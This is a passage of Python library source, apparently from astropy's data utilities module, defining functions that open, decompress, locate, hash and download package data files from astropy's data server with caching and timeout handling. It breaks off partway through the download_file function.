'http://data.astropy.org/',\n 'Primary URL for astropy remote data site.')\n dataurl_mirror = _config.ConfigItem(\n 'http://www.astropy.org/astropy-data/',\n 'Mirror URL for astropy remote data site.')\n default_http_user_agent = _config.ConfigItem(\n 'astropy',\n 'Default User-Agent for HTTP request headers. This can be overwritten '\n 'for a particular call via http_headers option, where available. '\n 'This only provides the default value when not set by https_headers.')\n remote_timeout = _config.ConfigItem(\n 10.,\n 'Time to wait for remote data queries (in seconds). Set this to zero '\n 'to prevent any attempt to download anything.',\n aliases=['astropy.coordinates.name_resolve.name_resolve_timeout'])\n compute_hash_block_size = _config.ConfigItem(\n 2 ** 16, # 64K\n 'Block size for computing file hashes.')\n download_block_size = _config.ConfigItem(\n 2 ** 16, # 64K\n 'Number of bytes of remote data to download per step.')\n download_cache_lock_attempts = _config.ConfigItem(\n 5,\n 'Unused; cache no longer locked. Was: '\n 'Number of seconds to wait for the cache lock to be free. It should '\n 'normally only ever be held long enough to copy an already-downloaded '\n 'file into the cache, so this will normally only run over if '\n 'something goes wrong and the lock is left held by a dead process; '\n 'the exception raised should indicate this and what to do to fix it.')\n delete_temporary_downloads_at_exit = _config.ConfigItem(\n True,\n 'If True, temporary download files created when the cache is '\n 'inaccessible will be deleted at the end of the python session.')\n\n\nconf = Conf()\n\n\nclass CacheMissingWarning(AstropyWarning):\n \"\"\"\n This warning indicates the standard cache directory is not accessible, with\n the first argument providing the warning message. If args[1] is present, it\n is a filename indicating the path to a temporary file that was created to\n store a remote data download in the absence of the cache.\n \"\"\"\n\n\ndef _is_url(string):\n \"\"\"\n Test whether a string is a valid URL\n\n Parameters\n ----------\n string : str\n The string to test\n \"\"\"\n url = urllib.parse.urlparse(string)\n # we can't just check that url.scheme is not an empty string, because\n # file paths in windows would return a non-empty scheme (e.g. e:\\\\\n # returns 'e').\n return url.scheme.lower() in ['http', 'https', 'ftp', 'sftp', 'ssh', 'file']\n\n\ndef _is_inside(path, parent_path):\n # We have to try realpath too to avoid issues with symlinks, but we leave\n # abspath because some systems like debian have the absolute path (with no\n # symlinks followed) match, but the real directories in different\n # locations, so need to try both cases.\n return os.path.abspath(path).startswith(os.path.abspath(parent_path)) \\\n or os.path.realpath(path).startswith(os.path.realpath(parent_path))\n\n\n@contextlib.contextmanager\ndef get_readable_fileobj(name_or_obj, encoding=None, cache=False,\n show_progress=True, remote_timeout=None,\n sources=None, http_headers=None):\n \"\"\"Yield a readable, seekable file-like object from a file or URL.\n\n This supports passing filenames, URLs, and readable file-like objects,\n any of which can be compressed in gzip, bzip2 or lzma (xz) if the\n appropriate compression libraries are provided by the Python installation.\n\n Notes\n -----\n\n This function is a context manager, and should be used for example\n as::\n\n with get_readable_fileobj('file.dat') as f:\n contents = f.read()\n\n If a URL is provided and the cache is in use, the provided URL will be the\n name used in the cache. The contents may already be stored in the cache\n under this URL provided, they may be downloaded from this URL, or they may\n be downloaded from one of the locations listed in ``sources``. See\n `~download_file` for details.\n\n Parameters\n ----------\n name_or_obj : str or file-like object\n The filename of the file to access (if given as a string), or\n the file-like object to access.\n\n If a file-like object, it must be opened in binary mode.\n\n encoding : str, optional\n When `None` (default), returns a file-like object with a\n ``read`` method that returns `str` (``unicode``) objects, using\n `locale.getpreferredencoding` as an encoding. This matches\n the default behavior of the built-in `open` when no ``mode``\n argument is provided.\n\n When ``'binary'``, returns a file-like object where its ``read``\n method returns `bytes` objects.\n\n When another string, it is the name of an encoding, and the\n file-like object's ``read`` method will return `str` (``unicode``)\n objects, decoded from binary using the given encoding.\n\n cache : bool or \"update\", optional\n Whether to cache the contents of remote URLs. If \"update\",\n check the remote URL for a new version but store the result\n in the cache.\n\n show_progress : bool, optional\n Whether to display a progress bar if the file is downloaded\n from a remote server. Default is `True`.\n\n remote_timeout : float\n Timeout for remote requests in seconds (default is the configurable\n `astropy.utils.data.Conf.remote_timeout`, which is 3s by default).\n Set this to zero to prevent any attempt at downloading.\n\n sources : list of str, optional\n If provided, a list of URLs to try to obtain the file from. The\n result will be stored under the original URL. The original URL\n will *not* be tried unless it is in this list; this is to prevent\n long waits for a primary server that is known to be inaccessible\n at the moment.\n\n http_headers : dict or None\n HTTP request headers to pass into ``urlopen`` if needed. (These headers\n are ignored if the protocol for the ``name_or_obj``/``sources`` entry\n is not a remote HTTP URL.) In the default case (None), the headers are\n ``User-Agent: some_value`` and ``Accept: */*``, where ``some_value``\n is set by ``astropy.utils.data.conf.default_http_user_agent``.\n\n Returns\n -------\n file : readable file-like object\n \"\"\"\n\n # close_fds is a list of file handles created by this function\n # that need to be closed. We don't want to always just close the\n # returned file handle, because it may simply be the file handle\n # passed in. In that case it is not the responsibility of this\n # function to close it: doing so could result in a \"double close\"\n # and an \"invalid file descriptor\" exception.\n PATH_TYPES = (str, pathlib.Path)\n\n close_fds = []\n delete_fds = []\n\n if remote_timeout is None:\n # use configfile default\n remote_timeout = conf.remote_timeout\n\n # Get a file object to the content\n if isinstance(name_or_obj, PATH_TYPES):\n # name_or_obj could be a Path object if pathlib is available\n name_or_obj = str(name_or_obj)\n\n is_url = _is_url(name_or_obj)\n if is_url:\n name_or_obj = download_file(\n name_or_obj, cache=cache, show_progress=show_progress,\n timeout=remote_timeout, sources=sources,\n http_headers=http_headers)\n fileobj = io.FileIO(name_or_obj, 'r')\n if is_url and not cache:\n delete_fds.append(fileobj)\n close_fds.append(fileobj)\n else:\n fileobj = name_or_obj\n\n # Check if the file object supports random access, and if not,\n # then wrap it in a BytesIO buffer. It would be nicer to use a\n # BufferedReader to avoid reading loading the whole file first,\n # but that is not compatible with streams or urllib2.urlopen\n # objects on Python 2.x.\n if not hasattr(fileobj, 'seek'):\n try:\n # py.path.LocalPath objects have .read() method but it uses\n # text mode, which won't work. .read_binary() does, and\n # surely other ducks would return binary contents when\n # called like this.\n # py.path.LocalPath is what comes from the tmpdir fixture\n # in pytest.\n fileobj = io.BytesIO(fileobj.read_binary())\n except AttributeError:\n fileobj = io.BytesIO(fileobj.read())\n\n # Now read enough bytes to look at signature\n signature = fileobj.read(4)\n fileobj.seek(0)\n\n if signature[:3] == b'\\x1f\\x8b\\x08': # gzip\n import struct\n try:\n import gzip\n fileobj_new = gzip.GzipFile(fileobj=fileobj, mode='rb')\n fileobj_new.read(1) # need to check that the file is really gzip\n except (OSError, EOFError, struct.error): # invalid gzip file\n fileobj.seek(0)\n fileobj_new.close()\n else:\n fileobj_new.seek(0)\n fileobj = fileobj_new\n elif signature[:3] == b'BZh': # bzip2\n try:\n import bz2\n except ImportError:\n for fd in close_fds:\n fd.close()\n raise ModuleNotFoundError(\n \"This Python installation does not provide the bz2 module.\")\n try:\n # bz2.BZ2File does not support file objects, only filenames, so we\n # need to write the data to a temporary file\n with NamedTemporaryFile(\"wb\", delete=False) as tmp:\n tmp.write(fileobj.read())\n tmp.close()\n fileobj_new = bz2.BZ2File(tmp.name, mode='rb')\n fileobj_new.read(1) # need to check that the file is really bzip2\n except OSError: # invalid bzip2 file\n fileobj.seek(0)\n fileobj_new.close()\n # raise\n else:\n fileobj_new.seek(0)\n close_fds.append(fileobj_new)\n fileobj = fileobj_new\n elif signature[:3] == b'\\xfd7z': # xz\n try:\n import lzma\n fileobj_new = lzma.LZMAFile(fileobj, mode='rb')\n fileobj_new.read(1) # need to check that the file is really xz\n except ImportError:\n for fd in close_fds:\n fd.close()\n raise ModuleNotFoundError(\n \"This Python installation does not provide the lzma module.\")\n except (OSError, EOFError): # invalid xz file\n fileobj.seek(0)\n fileobj_new.close()\n # should we propagate this to the caller to signal bad content?\n # raise ValueError(e)\n else:\n fileobj_new.seek(0)\n fileobj = fileobj_new\n\n # By this point, we have a file, io.FileIO, gzip.GzipFile, bz2.BZ2File\n # or lzma.LZMAFile instance opened in binary mode (that is, read\n # returns bytes). Now we need to, if requested, wrap it in a\n # io.TextIOWrapper so read will return unicode based on the\n # encoding parameter.\n\n needs_textio_wrapper = encoding != 'binary'\n\n if needs_textio_wrapper:\n # A bz2.BZ2File can not be wrapped by a TextIOWrapper,\n # so we decompress it to a temporary file and then\n # return a handle to that.\n try:\n import bz2\n except ImportError:\n pass\n else:\n if isinstance(fileobj, bz2.BZ2File):\n tmp = NamedTemporaryFile(\"wb\", delete=False)\n data = fileobj.read()\n tmp.write(data)\n tmp.close()\n delete_fds.append(tmp)\n\n fileobj = io.FileIO(tmp.name, 'r')\n close_fds.append(fileobj)\n\n fileobj = io.BufferedReader(fileobj)\n fileobj = io.TextIOWrapper(fileobj, encoding=encoding)\n\n # Ensure that file is at the start - io.FileIO will for\n # example not always be at the start:\n # >>> import io\n # >>> f = open('test.fits', 'rb')\n # >>> f.read(4)\n # 'SIMP'\n # >>> f.seek(0)\n # >>> fileobj = io.FileIO(f.fileno())\n # >>> fileobj.tell()\n # 4096L\n\n fileobj.seek(0)\n\n try:\n yield fileobj\n finally:\n for fd in close_fds:\n fd.close()\n for fd in delete_fds:\n os.remove(fd.name)\n\n\ndef get_file_contents(*args, **kwargs):\n \"\"\"\n Retrieves the contents of a filename or file-like object.\n\n See the `get_readable_fileobj` docstring for details on parameters.\n\n Returns\n -------\n content\n The content of the file (as requested by ``encoding``).\n \"\"\"\n with get_readable_fileobj(*args, **kwargs) as f:\n return f.read()\n\n\n@contextlib.contextmanager\ndef get_pkg_data_fileobj(data_name, package=None, encoding=None, cache=True):\n \"\"\"\n Retrieves a data file from the standard locations for the package and\n provides the file as a file-like object that reads bytes.\n\n Parameters\n ----------\n data_name : str\n Name/location of the desired data file. One of the following:\n\n * The name of a data file included in the source\n distribution. The path is relative to the module\n calling this function. For example, if calling from\n ``astropy.pkname``, use ``'data/file.dat'`` to get the\n file in ``astropy/pkgname/data/file.dat``. Double-dots\n can be used to go up a level. In the same example, use\n ``'../data/file.dat'`` to get ``astropy/data/file.dat``.\n * If a matching local file does not exist, the Astropy\n data server will be queried for the file.\n * A hash like that produced by `compute_hash` can be\n requested, prefixed by 'hash/'\n e.g. 'hash/34c33b3eb0d56eb9462003af249eff28'. The hash\n will first be searched for locally, and if not found,\n the Astropy data server will be queried.\n\n package : str, optional\n If specified, look for a file relative to the given package, rather\n than the default of looking relative to the calling module's package.\n\n encoding : str, optional\n When `None` (default), returns a file-like object with a\n ``read`` method returns `str` (``unicode``) objects, using\n `locale.getpreferredencoding` as an encoding. This matches\n the default behavior of the built-in `open` when no ``mode``\n argument is provided.\n\n When ``'binary'``, returns a file-like object where its ``read``\n method returns `bytes` objects.\n\n When another string, it is the name of an encoding, and the\n file-like object's ``read`` method will return `str` (``unicode``)\n objects, decoded from binary using the given encoding.\n\n cache : bool\n If True, the file will be downloaded and saved locally or the\n already-cached local copy will be accessed. If False, the\n file-like object will directly access the resource (e.g. if a\n remote URL is accessed, an object like that from\n `urllib.request.urlopen` is returned).\n\n Returns\n -------\n fileobj : file-like\n An object with the contents of the data file available via\n ``read`` function. Can be used as part of a ``with`` statement,\n automatically closing itself after the ``with`` block.\n\n Raises\n ------\n urllib.error.URLError\n If a remote file cannot be found.\n OSError\n If problems occur writing or reading a local file.\n\n Examples\n --------\n\n This will retrieve a data file and its contents for the `astropy.wcs`\n tests::\n\n >>> from astropy.utils.data import get_pkg_data_fileobj\n >>> with get_pkg_data_fileobj('data/3d_cd.hdr',\n ... package='astropy.wcs.tests') as fobj:\n ... fcontents = fobj.read()\n ...\n\n This next example would download a data file from the astropy data server\n because the ``allsky/allsky_rosat.fits`` file is not present in the\n source distribution. It will also save the file locally so the\n next time it is accessed it won't need to be downloaded.::\n\n >>> from astropy.utils.data import get_pkg_data_fileobj\n >>> with get_pkg_data_fileobj('allsky/allsky_rosat.fits',\n ... encoding='binary') as fobj: # doctest: +REMOTE_DATA +IGNORE_OUTPUT\n ... fcontents = fobj.read()\n ...\n Downloading http://data.astropy.org/allsky/allsky_rosat.fits [Done]\n\n This does the same thing but does *not* cache it locally::\n\n >>> with get_pkg_data_fileobj('allsky/allsky_rosat.fits',\n ... encoding='binary', cache=False) as fobj: # doctest: +REMOTE_DATA +IGNORE_OUTPUT\n ... fcontents = fobj.read()\n ...\n Downloading http://data.astropy.org/allsky/allsky_rosat.fits [Done]\n\n See Also\n --------\n get_pkg_data_contents : returns the contents of a file or url as a bytes object\n get_pkg_data_filename : returns a local name for a file containing the data\n \"\"\"\n\n datafn = _find_pkg_data_path(data_name, package=package)\n if os.path.isdir(datafn):\n raise OSError(\"Tried to access a data file that's actually \"\n \"a package data directory\")\n elif os.path.isfile(datafn): # local file\n with get_readable_fileobj(datafn, encoding=encoding) as fileobj:\n yield fileobj\n else: # remote file\n with get_readable_fileobj(\n conf.dataurl + data_name,\n encoding=encoding,\n cache=cache,\n sources=[conf.dataurl + data_name,\n conf.dataurl_mirror + data_name],\n ) as fileobj:\n # We read a byte to trigger any URLErrors\n fileobj.read(1)\n fileobj.seek(0)\n yield fileobj\n\n\ndef get_pkg_data_filename(data_name, package=None, show_progress=True,\n remote_timeout=None):\n \"\"\"\n Retrieves a data file from the standard locations for the package and\n provides a local filename for the data.\n\n This function is similar to `get_pkg_data_fileobj` but returns the\n file *name* instead of a readable file-like object. This means\n that this function must always cache remote files locally, unlike\n `get_pkg_data_fileobj`.\n\n Parameters\n ----------\n data_name : str\n Name/location of the desired data file. One of the following:\n\n * The name of a data file included in the source\n distribution. The path is relative to the module\n calling this function. For example, if calling from\n ``astropy.pkname``, use ``'data/file.dat'`` to get the\n file in ``astropy/pkgname/data/file.dat``. Double-dots\n can be used to go up a level. In the same example, use\n ``'../data/file.dat'`` to get ``astropy/data/file.dat``.\n * If a matching local file does not exist, the Astropy\n data server will be queried for the file.\n * A hash like that produced by `compute_hash` can be\n requested, prefixed by 'hash/'\n e.g. 'hash/34c33b3eb0d56eb9462003af249eff28'. The hash\n will first be searched for locally, and if not found,\n the Astropy data server will be queried.\n\n package : str, optional\n If specified, look for a file relative to the given package, rather\n than the default of looking relative to the calling module's package.\n\n show_progress : bool, optional\n Whether to display a progress bar if the file is downloaded\n from a remote server. Default is `True`.\n\n remote_timeout : float\n Timeout for the requests in seconds (default is the\n configurable `astropy.utils.data.Conf.remote_timeout`, which\n is 3s by default). Set this to zero to prevent any attempt\n at downloading.\n\n Raises\n ------\n urllib.error.URLError\n If a remote file cannot be found.\n OSError\n If problems occur writing or reading a local file.\n\n Returns\n -------\n filename : str\n A file path on the local file system corresponding to the data\n requested in ``data_name``.\n\n Examples\n --------\n\n This will retrieve the contents of the data file for the `astropy.wcs`\n tests::\n\n >>> from astropy.utils.data import get_pkg_data_filename\n >>> fn = get_pkg_data_filename('data/3d_cd.hdr',\n ... package='astropy.wcs.tests')\n >>> with open(fn) as f:\n ... fcontents = f.read()\n ...\n\n This retrieves a data file by hash either locally or from the astropy data\n server::\n\n >>> from astropy.utils.data import get_pkg_data_filename\n >>> fn = get_pkg_data_filename('hash/34c33b3eb0d56eb9462003af249eff28') # doctest: +SKIP\n >>> with open(fn) as f:\n ... fcontents = f.read()\n ...\n\n See Also\n --------\n get_pkg_data_contents : returns the contents of a file or url as a bytes object\n get_pkg_data_fileobj : returns a file-like object with the data\n \"\"\"\n\n if remote_timeout is None:\n # use configfile default\n remote_timeout = conf.remote_timeout\n\n if data_name.startswith('hash/'):\n # first try looking for a local version if a hash is specified\n hashfn = _find_hash_fn(data_name[5:])\n\n if hashfn is None:\n return download_file(conf.dataurl + data_name, cache=True,\n show_progress=show_progress,\n timeout=remote_timeout,\n sources=[conf.dataurl + data_name,\n conf.dataurl_mirror + data_name])\n else:\n return hashfn\n else:\n fs_path = os.path.normpath(data_name)\n datafn = _find_pkg_data_path(fs_path, package=package)\n if os.path.isdir(datafn):\n raise OSError(\"Tried to access a data file that's actually \"\n \"a package data directory\")\n elif os.path.isfile(datafn): # local file\n return datafn\n else: # remote file\n return download_file(conf.dataurl + data_name, cache=True,\n show_progress=show_progress,\n timeout=remote_timeout,\n sources=[conf.dataurl + data_name,\n conf.dataurl_mirror + data_name])\n\n\ndef get_pkg_data_contents(data_name, package=None, encoding=None, cache=True):\n \"\"\"\n Retrieves a data file from the standard locations and returns its\n contents as a bytes object.\n\n Parameters\n ----------\n data_name : str\n Name/location of the desired data file. One of the following:\n\n * The name of a data file included in the source\n distribution. The path is relative to the module\n calling this function. For example, if calling from\n ``astropy.pkname``, use ``'data/file.dat'`` to get the\n file in ``astropy/pkgname/data/file.dat``. Double-dots\n can be used to go up a level. In the same example, use\n ``'../data/file.dat'`` to get ``astropy/data/file.dat``.\n * If a matching local file does not exist, the Astropy\n data server will be queried for the file.\n * A hash like that produced by `compute_hash` can be\n requested, prefixed by 'hash/'\n e.g. 'hash/34c33b3eb0d56eb9462003af249eff28'. The hash\n will first be searched for locally, and if not found,\n the Astropy data server will be queried.\n * A URL to some other file.\n\n package : str, optional\n If specified, look for a file relative to the given package, rather\n than the default of looking relative to the calling module's package.\n\n\n encoding : str, optional\n When `None` (default), returns a file-like object with a\n ``read`` method that returns `str` (``unicode``) objects, using\n `locale.getpreferredencoding` as an encoding. This matches\n the default behavior of the built-in `open` when no ``mode``\n argument is provided.\n\n When ``'binary'``, returns a file-like object where its ``read``\n method returns `bytes` objects.\n\n When another string, it is the name of an encoding, and the\n file-like object's ``read`` method will return `str` (``unicode``)\n objects, decoded from binary using the given encoding.\n\n cache : bool\n If True, the file will be downloaded and saved locally or the\n already-cached local copy will be accessed. If False, the\n file-like object will directly access the resource (e.g. if a\n remote URL is accessed, an object like that from\n `urllib.request.urlopen` is returned).\n\n Returns\n -------\n contents : bytes\n The complete contents of the file as a bytes object.\n\n Raises\n ------\n urllib.error.URLError\n If a remote file cannot be found.\n OSError\n If problems occur writing or reading a local file.\n\n See Also\n --------\n get_pkg_data_fileobj : returns a file-like object with the data\n get_pkg_data_filename : returns a local name for a file containing the data\n \"\"\"\n\n with get_pkg_data_fileobj(data_name, package=package, encoding=encoding,\n cache=cache) as fd:\n contents = fd.read()\n return contents\n\n\ndef get_pkg_data_filenames(datadir, package=None, pattern='*'):\n \"\"\"\n Returns the path of all of the data files in a given directory\n that match a given glob pattern.\n\n Parameters\n ----------\n datadir : str\n Name/location of the desired data files. One of the following:\n\n * The name of a directory included in the source\n distribution. The path is relative to the module\n calling this function. For example, if calling from\n ``astropy.pkname``, use ``'data'`` to get the\n files in ``astropy/pkgname/data``.\n * Remote URLs are not currently supported.\n\n package : str, optional\n If specified, look for a file relative to the given package, rather\n than the default of looking relative to the calling module's package.\n\n pattern : str, optional\n A UNIX-style filename glob pattern to match files. See the\n `glob` module in the standard library for more information.\n By default, matches all files.\n\n Returns\n -------\n filenames : iterator of str\n Paths on the local filesystem in *datadir* matching *pattern*.\n\n Examples\n --------\n This will retrieve the contents of the data file for the `astropy.wcs`\n tests::\n\n >>> from astropy.utils.data import get_pkg_data_filenames\n >>> for fn in get_pkg_data_filenames('data/maps', 'astropy.wcs.tests',\n ... '*.hdr'):\n ... with open(fn) as f:\n ... fcontents = f.read()\n ...\n \"\"\"\n\n path = _find_pkg_data_path(datadir, package=package)\n if os.path.isfile(path):\n raise OSError(\n \"Tried to access a data directory that's actually \"\n \"a package data file\")\n elif os.path.isdir(path):\n for filename in os.listdir(path):\n if fnmatch.fnmatch(filename, pattern):\n yield os.path.join(path, filename)\n else:\n raise OSError(\"Path not found\")\n\n\ndef get_pkg_data_fileobjs(datadir, package=None, pattern='*', encoding=None):\n \"\"\"\n Returns readable file objects for all of the data files in a given\n directory that match a given glob pattern.\n\n Parameters\n ----------\n datadir : str\n Name/location of the desired data files. One of the following:\n\n * The name of a directory included in the source\n distribution. The path is relative to the module\n calling this function. For example, if calling from\n ``astropy.pkname``, use ``'data'`` to get the\n files in ``astropy/pkgname/data``\n * Remote URLs are not currently supported\n\n package : str, optional\n If specified, look for a file relative to the given package, rather\n than the default of looking relative to the calling module's package.\n\n pattern : str, optional\n A UNIX-style filename glob pattern to match files. See the\n `glob` module in the standard library for more information.\n By default, matches all files.\n\n encoding : str, optional\n When `None` (default), returns a file-like object with a\n ``read`` method that returns `str` (``unicode``) objects, using\n `locale.getpreferredencoding` as an encoding. This matches\n the default behavior of the built-in `open` when no ``mode``\n argument is provided.\n\n When ``'binary'``, returns a file-like object where its ``read``\n method returns `bytes` objects.\n\n When another string, it is the name of an encoding, and the\n file-like object's ``read`` method will return `str` (``unicode``)\n objects, decoded from binary using the given encoding.\n\n Returns\n -------\n fileobjs : iterator of file objects\n File objects for each of the files on the local filesystem in\n *datadir* matching *pattern*.\n\n Examples\n --------\n This will retrieve the contents of the data file for the `astropy.wcs`\n tests::\n\n >>> from astropy.utils.data import get_pkg_data_filenames\n >>> for fd in get_pkg_data_fileobjs('data/maps', 'astropy.wcs.tests',\n ... '*.hdr'):\n ... fcontents = fd.read()\n ...\n \"\"\"\n\n for fn in get_pkg_data_filenames(datadir, package=package,\n pattern=pattern):\n with get_readable_fileobj(fn, encoding=encoding) as fd:\n yield fd\n\n\ndef compute_hash(localfn):\n \"\"\" Computes the MD5 hash for a file.\n\n The hash for a data file is used for looking up data files in a unique\n fashion. This is of particular use for tests; a test may require a\n particular version of a particular file, in which case it can be accessed\n via hash to get the appropriate version.\n\n Typically, if you wish to write a test that requires a particular data\n file, you will want to submit that file to the astropy data servers, and\n use\n e.g. ``get_pkg_data_filename('hash/34c33b3eb0d56eb9462003af249eff28')``,\n but with the hash for your file in place of the hash in the example.\n\n Parameters\n ----------\n localfn : str\n The path to the file for which the hash should be generated.\n\n Returns\n -------\n hash : str\n The hex digest of the cryptographic hash for the contents of the\n ``localfn`` file.\n \"\"\"\n with open(localfn, 'rb') as f:\n h = hashlib.md5()\n block = f.read(conf.compute_hash_block_size)\n while block:\n h.update(block)\n block = f.read(conf.compute_hash_block_size)\n\n return h.hexdigest()\n\n\ndef _find_pkg_data_path(data_name, package=None):\n \"\"\"\n Look for data in the source-included data directories and return the\n path.\n \"\"\"\n\n if package is None:\n module = find_current_module(1, finddiff=['astropy.utils.data', 'contextlib'])\n if module is None:\n # not called from inside an astropy package. So just pass name\n # through\n return data_name\n\n if not hasattr(module, '__package__') or not module.__package__:\n # The __package__ attribute may be missing or set to None; see\n # PEP-366, also astropy issue #1256\n if '.' in module.__name__:\n package = module.__name__.rpartition('.')[0]\n else:\n package = module.__name__\n else:\n package = module.__package__\n else:\n module = resolve_name(package)\n\n rootpkgname = package.partition('.')[0]\n\n rootpkg = resolve_name(rootpkgname)\n\n module_path = os.path.dirname(module.__file__)\n path = os.path.join(module_path, data_name)\n\n root_dir = os.path.dirname(rootpkg.__file__)\n if not _is_inside(path, root_dir):\n raise RuntimeError(f\"attempted to get a local data file outside \"\n f\"of the {rootpkgname} tree.\")\n\n return path\n\n\ndef _find_hash_fn(hexdigest, pkgname='astropy'):\n \"\"\"\n Looks for a local file by hash - returns file name if found and a valid\n file, otherwise returns None.\n \"\"\"\n for v in cache_contents(pkgname=pkgname).values():\n if compute_hash(v) == hexdigest:\n return v\n return None\n\n\ndef get_free_space_in_dir(path):\n \"\"\"\n Given a path to a directory, returns the amount of free space (in\n bytes) on that filesystem.\n\n Parameters\n ----------\n path : str\n The path to a directory\n\n Returns\n -------\n bytes : int\n The amount of free space on the partition that the directory\n is on.\n \"\"\"\n if not os.path.isdir(path):\n raise OSError(\n \"Can only determine free space associated with directories, \"\n \"not files.\")\n # Actually you can on Linux but I want to avoid code that fails\n # on Windows only.\n return shutil.disk_usage(path).free\n\n\ndef check_free_space_in_dir(path, size):\n \"\"\"\n Determines if a given directory has enough space to hold a file of\n a given size. Raises an OSError if the file would be too large.\n\n Parameters\n ----------\n path : str\n The path to a directory\n\n size : int\n A proposed filesize (in bytes)\n\n Raises\n -------\n OSError : There is not enough room on the filesystem\n \"\"\"\n from astropy.utils.console import human_file_size\n\n space = get_free_space_in_dir(path)\n if space < size:\n raise OSError(f\"Not enough free space in {path} \"\n f\"to download a {human_file_size(size)} file\")\n\n\nclass _ftptlswrapper(urllib.request.ftpwrapper):\n def init(self):\n self.busy = 0\n self.ftp = ftplib.FTP_TLS()\n self.ftp.connect(self.host, self.port, self.timeout)\n self.ftp.login(self.user, self.passwd)\n self.ftp.prot_p()\n _target = '/'.join(self.dirs)\n self.ftp.cwd(_target)\n\n\nclass _FTPTLSHandler(urllib.request.FTPHandler):\n def connect_ftp(self, user, passwd, host, port, dirs, timeout):\n return _ftptlswrapper(user, passwd, host, port, dirs, timeout,\n persistent=False)\n\n\ndef _download_file_from_source(source_url, show_progress=True, timeout=None,\n remote_url=None, cache=False, pkgname='astropy',\n http_headers=None, ftp_tls=None):\n from astropy.utils.console import ProgressBarOrSpinner\n\n if timeout == 0:\n raise urllib.error.URLError(\n f\"URL {remote_url} was supposed to be downloaded but timeout was set to 0; \"\n f\"if this is unexpected check the astropy config file for the option \"\n f\"remote_timeout\")\n\n if remote_url is None:\n remote_url = source_url\n if http_headers is None:\n http_headers = {}\n\n if ftp_tls is None and urllib.parse.urlparse(remote_url).scheme == \"ftp\":\n try:\n return _download_file_from_source(source_url,\n show_progress=show_progress,\n timeout=timeout,\n remote_url=remote_url,\n cache=cache,\n pkgname=pkgname,\n http_headers=http_headers,\n ftp_tls=False)\n except urllib.error.URLError as e:\n # e.reason might not be a string, e.g. socket.gaierror\n if str(e.reason).startswith(\"ftp error: error_perm\"):\n ftp_tls = True\n else:\n raise\n if ftp_tls:\n urlopener = urllib.request.build_opener(_FTPTLSHandler())\n else:\n urlopener = urllib.request.build_opener()\n\n req = urllib.request.Request(source_url, headers=http_headers)\n with urlopener.open(req, timeout=timeout) as remote:\n info = remote.info()\n try:\n size = int(info['Content-Length'])\n except (KeyError, ValueError, TypeError):\n size = None\n\n if size is not None:\n check_free_space_in_dir(gettempdir(), size)\n if cache:\n dldir = _get_download_cache_loc(pkgname)\n check_free_space_in_dir(dldir, size)\n\n if show_progress and sys.stdout.isatty():\n progress_stream = sys.stdout\n else:\n progress_stream = io.StringIO()\n\n if source_url == remote_url:\n dlmsg = f\"Downloading {remote_url}\"\n else:\n dlmsg = f\"Downloading {remote_url} from {source_url}\"\n with ProgressBarOrSpinner(size, dlmsg, file=progress_stream) as p:\n with NamedTemporaryFile(prefix=f\"astropy-download-{os.getpid()}-\",\n delete=False) as f:\n try:\n bytes_read = 0\n block = remote.read(conf.download_block_size)\n while block:\n f.write(block)\n bytes_read += len(block)\n p.update(bytes_read)\n block = remote.read(conf.download_block_size)\n if size is not None and bytes_read > size:\n raise urllib.error.URLError(\n f\"File was supposed to be {size} bytes but \"\n f\"server provides more, at least {bytes_read} \"\n f\"bytes. Download failed.\")\n if size is not None and bytes_read < size:\n raise urllib.error.ContentTooShortError(\n f\"File was supposed to be {size} bytes but we \"\n f\"only got {bytes_read} bytes. Download failed.\",\n content=None)\n except BaseException:\n if os.path.exists(f.name):\n try:\n os.remove(f.name)\n except OSError:\n pass\n raise\n return f.name\n\n\ndef download_file(remote_url, cache=False, show_progress=True, timeout=None,\n sources=None, pkgname='astropy', http_headers=None):\n \"\"\"Downloads a URL and optionally caches the result.\n\n It returns the filename of a file containing the URL's contents.\n If ``cache=True`` and the file is present in the cache, just\n returns the filename; if the file had to be downloaded, add it\n to the cache. If ``cache=\"update\"`` always download and add it\n to the cache.\n\n The cache is effectively a dictionary mapping URLs to files; by default the\n file contains the contents of the URL that is its key, but in practice\n these can be obtained from a mirror (using ``sources``) or imported from\n the local filesystem (using `~import_file_to_cache` or\n `~import_download_cache`). Regardless, each file is regarded as\n representing the contents of a particular URL, and this URL should be used\n to look them up or otherwise manipulate them.\n\n The files in the cache directory are named according to a cryptographic\n hash of their URLs (currently MD5, so hackers can cause collisions).\n The modification times on these files normally indicate when they were\n last downloaded from the Internet.\n\n Parameters\n ----------\n remote_url : str\n The URL of the file to download\n\n cache : bool or \"update\", optional\n Whether to cache the contents of remote URLs. If \"update\",\n always download the remote URL in case there is a new version\n and store the result in the cache.\n\n show_progress : bool, optional\n Whether to display a progress bar during the download (default\n is `True`). Regardless of this setting, the progress bar is only\n displayed when outputting to a terminal.\n\n timeout : float, optional\n The timeout, in seconds. Otherwise, use\n `astropy.utils.data.Conf.remote_timeout`. Set this to zero to prevent\n any attempt to download anything.\n\n sources : list of str, optional\n If provided, a list of URLs to try to obtain the file from. The\n result will be stored under the original URL. The original URL\n will *not* be tried unless it is in this list; this is to prevent\n long waits for a primary server that is known to be inaccessible\n at the moment. If an empty list is passed, then ``download_file``\n will not attempt to connect to the Internet, that is, if the file\n is not in the cache a KeyError will be raised.\n\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n http_headers : dict or None\n HTTP request headers to pass into ``urlopen`` if needed. (These headers\n are ignored if the protocol for the ``name_or_obj``/``sources`` entry\n is not a remote HTTP URL.) In the default case (None), the headers are\n ``User-Agent: some_value`` and ``Accept: */*``, where ``some_value``\n is set by ``astropy.utils.data.conf.default_http_user_agent``.\n\n Returns\n -------\n local_path : str\n Returns the local path that the file was download to.\n\n Raises\n ------\n urllib.error.URLError\n Whenever there's a problem getting the remote file.\n KeyError\n When a file was requested from the cache but is missing and no\n sources were provided to obtain it from the Internet.\n\n Notes\n -----\n Because this function returns a filename, another process could run\n `clear_download_cache` before you actually open the file, leaving\n you with a filename that no longer points to a usable file.\n \"\"\"\n if timeout is None:\n timeout = conf.remote_timeout\n if sources is None:\n sources = [remote_url]\n if http_headers is None:\n http_headers = {'User-Agent': conf.default_http_user_agent,\n 'Accept': '*/*'}\n\n missing_cache = \"\"\n\n url_key = remote_url\n\n if cache:\n try:\n dldir = _get_download_cache_loc(pkgname)\n except OSError as e:\n cache = False\n missing_cache = (\n f\"Cache directory cannot be read or created ({e}), \"\n f\"providing data in temporary file instead.\"\n )\n else:\n if cache == \"update\":\n 